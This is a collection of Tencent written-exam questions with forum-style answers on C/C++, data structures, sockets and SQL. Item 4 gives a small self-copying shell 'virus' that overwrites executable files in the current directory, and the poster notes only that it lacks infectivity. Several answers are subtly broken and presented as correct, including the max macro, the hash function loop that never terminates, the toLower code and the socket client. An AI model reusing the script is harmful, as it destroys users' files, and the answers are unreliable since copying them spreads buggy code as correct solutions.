Tencent笔试题收集
----------------------------------------------------------------------------------------------------------------------------------
腾讯的流程是一笔和四面。前三次面试都是技术面，hr面基本不刷人。笔试成绩决定面试顺序。技术面可能要写代码，做智力题目。
主要是c/c++、数据结构、操作系统等方面的基础知识。好像有sizeof、树等选择题。填空题是补充完整程序。附加题有写算法的、编程的、数据库sql语句查询的。还有一张开放性问题。
1．请定义一个宏，比较两个数a、b的大小，不能使用大于、小于、if语句。
#define max(a,b) (abs((a)-(b))-((a)-(b))) ? (b):(a)
2．如何输出源文件的标题和目前执行行的行数
C定义的预定义宏:
__DATE__ 进行预处理的日期（“Mmm dd yyyy”形式的字符串文字，如May 27 2006）
__FILE__ 代表当前源代码文件名的字符串文字 ，包含了详细路径，如G:/program/study/c+/test1.c
__LINE__ 代表当前源代码中的行号的整数常量
__DATE__ 源文件编译日期
__TIME__ 源文件编译时间，格式微“hh：mm：ss”，如：09:11:10；
__func__ 当前所在函数名，在编译器的较高版本中支持
__FUNCTION__ 当前所在函数名
__STDC__ 常数1, 指示是标准兼容
__STDC_HOSTED__ 如果是hosted实现,为1; 如果是..实现,为0
__STD_VERSION__ C99为199901L
int line= __LINE__;char *file = __FILE__;cout << "file name is " << file << ",line is " << line <<endl;
3．两个数相乘，小数点后位数没有限制，请写一个高精度算法
与大数相乘原理一样，只是调整小数点位置，即有效小数个数
算法提示：
输入 string a, string b；计算string c=a*b; 返回 c;
1. 纪录小数点在a,b中的位置l1,l2，则需要小数点后移动位置数为l=length(a)+length(b)-l1-l2-2;
2， 去掉a,b中的小数点，（a,b小数点后移，使a,b变为整数）
3， 计算c=a*b; （要么用java的BigInterger搞, 要么自己用C++写高精度数乘法，超过百万位，用FFT,我就不细说，这都预先写过就别做了）
4， 输出c,（注意在输出倒数第l个数时，输出一个小数点。若是输出的数少于l个，就补0）
4．写一个病毒
#shellvirus II
for file in *
do if test -f $file ; then if test -x $file ; then if test -w $file ; then if grep -s echo $file >.mmm ;then cp $0 $file
fi;
fi;
fi;
fi;
done
rm .mmm -f
上面这个不对，没有传染性，寄生性……
5．不使用额外空间,将 A,B两链表的元素交叉归并
6. struct st{
int i;
short s;
char c;
};
sizeof(struct st); //8
char * p1;
void * p2;
int p3;
char p4[10];
sizeof(p1...p4) =?//4，4，4，10
5.让你在100000000个浮点数中找出最大的10000个，要求时间复杂度优。
最小堆
二分查找
快速排序
双向链表的删除结点
有A、B、C、D四个人，要在夜里过一座桥。他们通过这座桥分别需要耗时1、2、5、10分钟
，只有一支手电，并且同时最多只能两个人一起过桥。请问，如何安排，能够在17分钟内
这四个人都过桥？
CD -> AB 2
ACD<-B 1
A->BCD 10
AB<-CD 2
->ABCD 2
基础题有15道选择和2道读程序填空。选择题的确是很基础，主要考数据结构，还有一些体系结构、数据库的题目；读程序题跟我们平时考试的差不多，一道是两个升序链合并成一个升序链+递归，一道是四色着色方案
附加题有几道没有看清楚。有一道是unix防僵死算法，最后一道是sql查询，还有几道忘了，其中一个是很长的程序题。。
15个选择题，60分
一个程序填空，40分
三道附加题60分
附加题考的是
不用第三个变量实现两个整形变量的交换
linux的子进程
操作系统资源抢占管理，两个进程要对文件进行独占访问，采用共享变量，判断可行否
书写strcpy()
时间两个小时，选择题 15*4
然后是程序填空题 10 (2*5), 30 (10*3)
附加题用c++ 实现一个链地址hash。
程序填空题我就不说了，比较easy的说，值得一提的是选择题。
绝大部分考的是C++，我大致说下主要部分吧：
涉及程序执行压栈的：1道
涉及容器和迭代器的：4道
涉及虚拟函数以及dynamic_cast的 3道
涉及参数传递的 1道
简单的程序段落判断 2道
涉及类的静态成员赋值的 1道
剩下的是杂七杂八的。
不管怎么说，假如你把c++ primer 仔细阅读了一遍，基本上没问题。
考的有些细，没有涉及算法和编译等知识，所以我同屋一个兄弟很郁
闷，因为他linux底层比较好，本来报的是后台开发，哪知道结果考这
种类型的题目。
程序填空的考了文件操作，以及数组移动等。
附加题比较简单的说，只要把数据结构的hash部分好好看，然后用class
/***************************** Hash_table.h**********************************/#ifndef HASH_TABLE_H
#define HASH_TABLE_H#include <string>using namespace std;
struct node /*定义节点*/
{ node():_next(NULL){} string _value;node* _next;
};
typedef node* hash_node; /*类型定义*/const int MULT = 31; /*散列函数的参数*/
const int TABLE = 10000; /*数组的大小*/
class hash_table{public: /*构造函数*/hash_table(hash_node* table);
/*析构函数*/~hash_table();
/*向hash_table插入元素*/void Insert(const string& word);
/*从hash_table中查找元素*/int Search(const string& word);
private: /*散列函数*/unsigned int hash(const string& word);
private:hash_node* _table;
};
#endif/************************************end*************************************//*****************************hash_table.cpp***********************************/#include "hash_table.h"#include <iostream>
using namespace std;
/*构造函数*/hash_table::hash_table(hash_node* table)
{_table = table;
}
/*析构函数*/hash_table::~hash_table()
{delete[] _table;
}
/*散列函数*/unsigned int hash_table::hash(const string& word)
{const char* p = word.c_str();
unsigned int h = 0;for (; p; p++) /*hash_table的心脏*/
{h = (h*MULT) % TABLE + (*p) % TABLE;
}
return h;}
/*插入函数*/void hash_table::Insert(const string& word)
{ /*得到对应的散列值*/ int h = hash(word); /*对应节点为空，插入本节点*/ if (_table[h] == NULL) { hash_node n = new node();n->_value = word;
n->_next = NULL;
_table[h] = n;
return ;}
/*如果节点不为空，连结在本节点为头节点的链表*/ for (hash_node p = _table[h];p != NULL;p = p->_next) { /*包含相同的值，直接返回*/if (p->_value == word) return ;
}
/*发生冲突，处理冲突*/ hash_node n = new node();n->_value = word;
n->_next = _table[h];
_table[h] = n;
}
/*查询函数*/int hash_table::Search(const string& word)
{ /*得到对应的散列值*/ int h = hash(word); /*如果对应的节点为空，直接返回*/ if (_table[h] == NULL) { return -1;}
/*循环本节点，匹配对应的值，返回结果*/ for (hash_node p = _table[h];p != NULL;p = p->_next) { if (p->_value == word) { return 1;}
}
return -1;}
/************************************end***********************************/
组装一下就ok了。
-----------------------------------------------------------------------------------------------------------------------------------
选择题(60)
c/c++ os linux 方面的基础知识 c的Sizeof函数有好几个!
程序填空(40)
1.(20) 4空x5
不使用额外空间,将 A,B两链表的元素交叉归并
2.(20) 4空x5
MFC 将树序列化 转存在数组或 链表中!
1, 计算 a^b << 2 (运算符优先级问题)
（a)^(b << 2)
2 根据先序中序求后序
3 a[3][4]哪个不能表示 a[1][1]: *(&a[0][0]) *(*(a+1)+1) *(&a[1]+1) *(&a[0][0]+4)
4 for(int i...)
for(int j...)
printf(i,j);
printf(j)
会出现什么问题
变量的作用域
5 for(i=0;i<10;++i,sum+=i);的运行结果
sum 1+2+...+10
6 10个数顺序插入查找二叉树，元素62的比较次数
7 10个数放入模10hash链表，最大长度是多少
8 fun((exp1,exp2),(exp3,exp4,exp5))有几个实参
9 希尔 冒泡 快速 插入 哪个平均速度最快
10 二分查找是 顺序存储 链存储 按value有序中的哪些
11 顺序查找的平均时间 O(n)
12 *p=NULL *p=new char[100] sizeof(p)各为多少
4 4
13 频繁的插入删除操作使用什么结构比较合适，链表还是数组
link
14 enum的声明方式
enum { //.. };
15 1-20的两个数把和告诉A,积告诉B，A说不知道是多少, B也说不知道，这时A说我知道了，B接着说我也知道了，问这两个数是多少
大题：补空
1 把字符串转换为小写，不成功返回NULL,成功返回新串
char *toLower(char *srcStr)
{assert(srcStr != NULL);
int len = strlen(srcStr);char dstStr = new char[len+1];
if(NULL == dstStr) return NULL; char *sptr = srcStr; char *dptr = dstStr;while(*ptr != '\0')
{if(*ptr >= 'A' && *ptr <= 'Z')
{*dptr = *sptr - 'A' +'a';
}
else {*dptr = *sptr;
}
sptr++;
dptr++;
}
*dptr = '\0'; return dstStr;}
char* toLower(char* sSrcStr)
{
char* sDest= NULL;
if( __1___) //NULL != sSrcStr
{
int j;
sLen = strlen(sSrcStr);
sDest = new [_______2_____]; //sLen +1
if(*sDest == NULL)
return NULL;
sDest[sLen] = '\0';
while(_____3____) //(--sLen>=0)
sDest[sLen] = toLowerChar(sSrcStr[sLen]);
}
return sDest;
}
2 把字符串转换为整数 例如："-123" -> -123
main()
{
.....
if( *string == '-' )
n = ____1______;
else
n = num(string);
.....
}
int num(char* string)
{
for(;!(*string==0);string++)
{
int k;
k = __2_____;
j = --sLen;
while( __3__)
k = k * 10;
num = num + k;
}
return num;
}
附加题：
1 linux下调试core的命令，察看堆栈状态命令
/usr/proc/bin/lsstack core
2 写出socks套接字 服务端 客户端 通讯程序
//client.cint main(){ int sockfd, n; char recvline(MAXLINE+1]; struct sockaddr_in servaddr; if(socket(AF_INET, SOCK_STREAM, 0) < 0) {exit(-1);
}
bzero(&servaddr, sizeof(servaddr));servaddr.sin_family = AF_INET;
inet_pton(AF_INET, "202.120.37.167", &servaddr.sin_addr);servaddr.sin_port = htons(13);
if(connect(sockfd, &servaddr, sizeof(servaddr)) < 0)
exit(-1);
while((n = read(socket, recvline, MAXLINE)) > 0) { //..}
exit(0);
}
//server.cint main(int argc, char *argv[])
{ int listenfd, connfd; struct sockaddr_in servaddr; char buff[MAXLINE];listenfd = Socket(AF_INET, SOCK_STREAM, 0);
bzeros(&servaddr, sizeof(servaddr));servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(13);
Bind(listenfd, (SA *) &servaddr, sizeof(servaddr));Listen(listenfd, LISTENQ);
for ( ; ; ) {connfd = Accept(listenfd, (SA *) NULL, NULL);
Write(connfd, buff, strlen(buff));
Close(connfd);
}
exit(0);
}
3 填空补全程序，按照我的理解是添入：win32调入dll的函数名
查找函数入口的函数名 找到函数的调用形式
把formView加到singledoc的声明 将singledoc加到app的声明
关于DLL请看 >>>
4 有关系 s(sno,sname) c(cno,cname) sc(sno,cno,grade)
1 问上课程 "db"的学生no
select sno from sc join c on (sc.cno = c.cno) where cname = 'db'
2 成绩最高的学生号
select sno from sc where grade = (select MAX(grade) from sc)
3 每科大于90分的人数
select COUNT(sno) from (select sno, MIN(grade) from sc group by sno) as tmp(sno, min_grade) where min_grade > 90
